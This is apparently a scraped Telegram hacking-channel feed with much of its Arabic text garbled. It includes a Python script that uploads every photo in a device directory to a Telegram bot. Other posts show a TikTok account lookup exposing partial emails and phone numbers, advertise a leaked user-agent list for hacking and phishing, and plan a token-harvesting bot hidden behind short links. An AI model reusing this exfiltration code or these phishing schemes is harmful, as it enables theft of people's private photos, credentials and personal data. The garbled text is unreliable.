Forwarded from Back again... (Mohammed Almuswi ๐ซถ)
info-user-tiktok.py
3.8 KB
User : klht
['a*h@gmail.com', '+964**70', '']
['a*h@gmail.com', '+964**70', '']
ูุฑุณู ูุฐุง ุงูุจุฑูุงู
ุฌ ุงููุตู ุฌู
ูุน ุงูุตูุฑ ู
ู ุฏููู ู
ุญุฏุฏ ุฅูู ุฏุฑุฏุดุฉ Telegram ุจุงุณุชุฎุฏุงู
ุฑูุจูุช. ุชุฃูุฏ ู
ู ุงุณุชุจุฏุงู "YOUR_BOT_TOKEN" ู"YOUR_CHAT_ID" ู"PHOTOS_DIRECTORY" ุจุฑู
ุฒ ุงูุฑูุจูุช ุงููุนูู ูู
ุนุฑู ุงูุฏุฑุฏุดุฉ ูุงูุฏููู
import os
import requests
# Replace 'YOUR_BOT_TOKEN' with your actual Telegram bot token
bot_token = 'YOUR_BOT_TOKEN'
# Replace 'YOUR_CHAT_ID' with the chat ID of the recipient
chat_id = 'YOUR_CHAT_ID'
# Replace 'PHOTOS_DIRECTORY' with the directory path where the photos are stored
photos_directory = 'PHOTOS_DIRECTORY'
# Define the URL for sending photos
url = f'https://api.telegram.org/bot{bot_token}/sendPhoto'
# Get the file paths of all the photos in the directory
photo_file_paths = [os.path.join(photos_directory, file) for file in os.listdir(photos_directory) if file.endswith(('.jpg', '.jpeg', '.png', '.gif'))]
# Send each photo to the Telegram bot
for photo_file_path in photo_file_paths:
try:
# Open the photo file
with open(photo_file_path, 'rb') as photo_file:
# Define the payload for sending the photo
payload = {
'chat_id': chat_id,
'caption': 'This is a photo from the device',
'parse_mode': 'HTML'
}
# Define the files to send
files = {
'photo': photo_file
}
# Send the photo to the Telegram bot
response = requests.post(url, data=payload, files=files)
# Check the response
if response.status_code == 200:
print(f'Photo {photo_file_path} sent successfully.')
else:
print(f'Error occurred: {response.text}')
except Exception as e:
print(f'Failed to send photo {photo_file_path}: {e}')
https://github.com/Xghostxdz/UploadX
ู ุดุฑูุน UploadX ูู ู ุดุฑูุน ูุฅุฏุงุฑุฉ ุงูู ููุงุช ู ู ุดุงุฑูุชูุง ู ุน ุงููุงุณ ู ุน ุงู ูุงููุฉ ุชุญู ููููุง ุงู ุฎุทุงุก ุฑุงุณูููู :
@xg_host
ู ุดุฑูุน UploadX ูู ู ุดุฑูุน ูุฅุฏุงุฑุฉ ุงูู ููุงุช ู ู ุดุงุฑูุชูุง ู ุน ุงููุงุณ ู ุน ุงู ูุงููุฉ ุชุญู ููููุง ุงู ุฎุทุงุก ุฑุงุณูููู :
@xg_host
GitHub
GitHub - Xghostxdz/UploadX
Contribute to Xghostxdz/UploadX development by creating an account on GitHub.
Forwarded from NiXXR | Python ๐ฆ (๐๐๐๐๐ | Dark CARACAL)
useragents.txt
112.1 KB
ู
ูู ููู ุฃูู ููุฒุฑ ุงุฌููุช(user agent)
ู ุณุฑุจุฉ ู ู ุจุทุงูุงุช ุชุนุฑููุฉ ู ู ู ูุงูุน ู ุดููุฑุฉ
ูู ูู ุงุณุชุฎุฏุงู ูุง ููุฃุฎุชุฑุงู ู ุงูุตูุฏ ๐ฆ๐ฅ
#DarkCaracal@pyNiXXR
ู ุณุฑุจุฉ ู ู ุจุทุงูุงุช ุชุนุฑููุฉ ู ู ู ูุงูุน ู ุดููุฑุฉ
ูู ูู ุงุณุชุฎุฏุงู ูุง ููุฃุฎุชุฑุงู ู ุงูุตูุฏ ๐ฆ๐ฅ
#DarkCaracal@pyNiXXR
import wikipediaapi
from transformers import pipeline
# ุฅุนุฏุงุฏ ุงููุบุฉ ุงูุนุฑุจูุฉ ููุจุญุซ ูู ููููุจูุฏูุง
wiki = wikipediaapi.Wikipedia('ar')
# ูู ูุฐุฌ ุงูุชูุฎูุต ู ู ู ูุชุจุฉ transformers
summarizer = pipeline("summarization", model="facebook/bart-large-cnn")
def fetch_wikipedia_content(topic):
"""ุฌูุจ ู ุญุชูู ู ู ููููุจูุฏูุง"""
page = wiki.page(topic)
if not page.exists():
return None
return page
def summarize_content(text, max_length=200):
"""ุชูุฎูุต ุงููุต ุจุงุณุชุฎุฏุงู ูู ูุฐุฌ ุงูุฐูุงุก ุงูุงุตุทูุงุนู"""
if len(text.split()) <= max_length:
return text # ุฅุฐุง ูุงู ุงููุต ูุตูุฑูุงุ ูุง ุญุงุฌุฉ ููุชูุฎูุต
try:
summary = summarizer(text, max_length=max_length, min_length=100, do_sample=False)
return summary[0]['summary_text']
except Exception as e:
return text # ูู ุญุงูุฉ ุงูุฎุทุฃุ ูุนูุฏ ุงููุต ุงูุฃุตูู
def generate_research(topic):
# 1. ุฌู ุน ุงูู ุนููู ุงุช ู ู ููููุจูุฏูุง
page = fetch_wikipedia_content(topic)
if page is None:
return f"ุนุฐุฑูุงุ ูู ุฃุชู ูู ู ู ุงูุนุซูุฑ ุนูู ู ุนููู ุงุช ุญูู ุงูู ูุถูุน '{topic}'."
# 2. ุฅุนุฏุงุฏ ุงูุจุญุซ
research = {}
research['ู ูุฏู ุฉ'] = f"ูู ูุฐุง ุงูุจุญุซุ ุณูุณุชุนุฑุถ ู ูุถูุน '{topic}' ู ู ู ุฎุชูู ุงูุฌูุงูุจ."
research['ู ูุฎุต ุนู ุงูู ูุถูุน'] = summarize_content(page.summary[:1500])
# 3. ุฅุถุงูุฉ ุฃูุณุงู ุงูุจุญุซ ู ู ููููุจูุฏูุง
for section in page.sections:
research[section.title] = summarize_content(section.text[:1500])
# 4. ุฅุถุงูุฉ ุฎุงุชู ุฉ
research['ุฎุงุชู ุฉ'] = f"ุจูุฐุง ูููู ูุฏ ุงุณุชุนุฑุถูุง ุฃูู ุงูุฌูุงูุจ ุงูู ุชุนููุฉ ุจู ูุถูุน '{topic}'."
# 5. ุฅุนุฏุงุฏ ูุงุฆู ุฉ ู ุฑุงุฌุน
research['ุงูู ุฑุงุฌุน'] = "ุงูู ุตุฏุฑ ุงูุฃุณุงุณู: ููููุจูุฏูุง ุงูุนุฑุจูุฉ"
# ุชุฌู ูุน ุงูุจุญุซ
full_research = "\n\n".join([f"{title}:\n{content}" for title, content in research.items()])
return full_research
# ุทูุจ ุงูู ูุถูุน ู ู ุงูู ุณุชุฎุฏู
topic = input("ุงูุชุจ ู ูุถูุน ุงูุจุญุซ: ")
research_content = generate_research(topic)
# ุนุฑุถ ุงูุจุญุซ ุงูู ูุชูุจ
print(research_content)
ุฎูุฑุฒู ูุฉ ุชููู ุจุงูุดุงุก ุจุญุซ ุนู ู ูุถูุน ู ุนูู ุงูุช ุชุญุฏุฏู
ุงูููุฏ ูุงุชุจุชู ุ ุงูููุฑุฉ ููุฑุชู ุ ุชุตุญูุญ chatgpt ุ ุชุนูููุงุช chat gpt
@xg_host
bot.py
1.4 KB
A simple bot that converts text to voice
The library was used:
The language in which it was programmed:
Programmer:@ANONYMOSXdev
The library was used:
telebot,datetime,gtts
The language in which it was programmed:
python
Programmer:@ANONYMOSXdev
ู
ููุน imginn.com ูู
ุดุงูุฏุฉ ู
ุญุชูู ุญุณุงุจุงุช ุงูุณุชุบุฑุงู
ุจุฏูู ุชุณุฌูู ุงูุฏุฎูู ู ุจุดูู ู
ุฌููู.
ููุง ุฑููุดูุงุช ุจุฑูู
ููู
๐
Please open Telegram to view this post
VIEW IN TELEGRAM
๏ดฟ ูููููู ุฑูุจูู ุฃูุฏูุฎูููููู ู
ูุฏูุฎููู ุตูุฏููู ููุฃูุฎูุฑูุฌูููู ู
ูุฎูุฑูุฌู ุตูุฏููู ููุงุฌูุนููู ููู ู
ููู ููุฏููููู ุณูููุทูุงููุง ููุตููุฑูุง ๏ดพ ๐
XbYiT ๐๏ธ
Photo
i will update it โบ๏ธ โบ๏ธ โบ๏ธ
Please open Telegram to view this post
VIEW IN TELEGRAM
XbYiT ๐๏ธ
i will update it โบ๏ธ โบ๏ธ โบ๏ธ
ู
ุฐุง ุณูู ุงูุนูู ูู ุงูุชุญุฏูุซ :
1 - ุจูุช ูููู ุจุงูุดุงุก ู ูู ุฎุงุต ุจู ููู token ุงูุฎุงุต ุจู
2 - ุณูู ุงุฌุนูู short link ูุนูู ุงูู ุณุชุฎุฏู ู ุฑุงุญ ูุนุฑู ุงูู ุฏุฎู ุฑุงุจุท ู ูุบู
1 - ุจูุช ูููู ุจุงูุดุงุก ู ูู ุฎุงุต ุจู ููู token ุงูุฎุงุต ุจู
2 - ุณูู ุงุฌุนูู short link ูุนูู ุงูู ุณุชุฎุฏู ู ุฑุงุญ ูุนุฑู ุงูู ุฏุฎู ุฑุงุจุท ู ูุบู
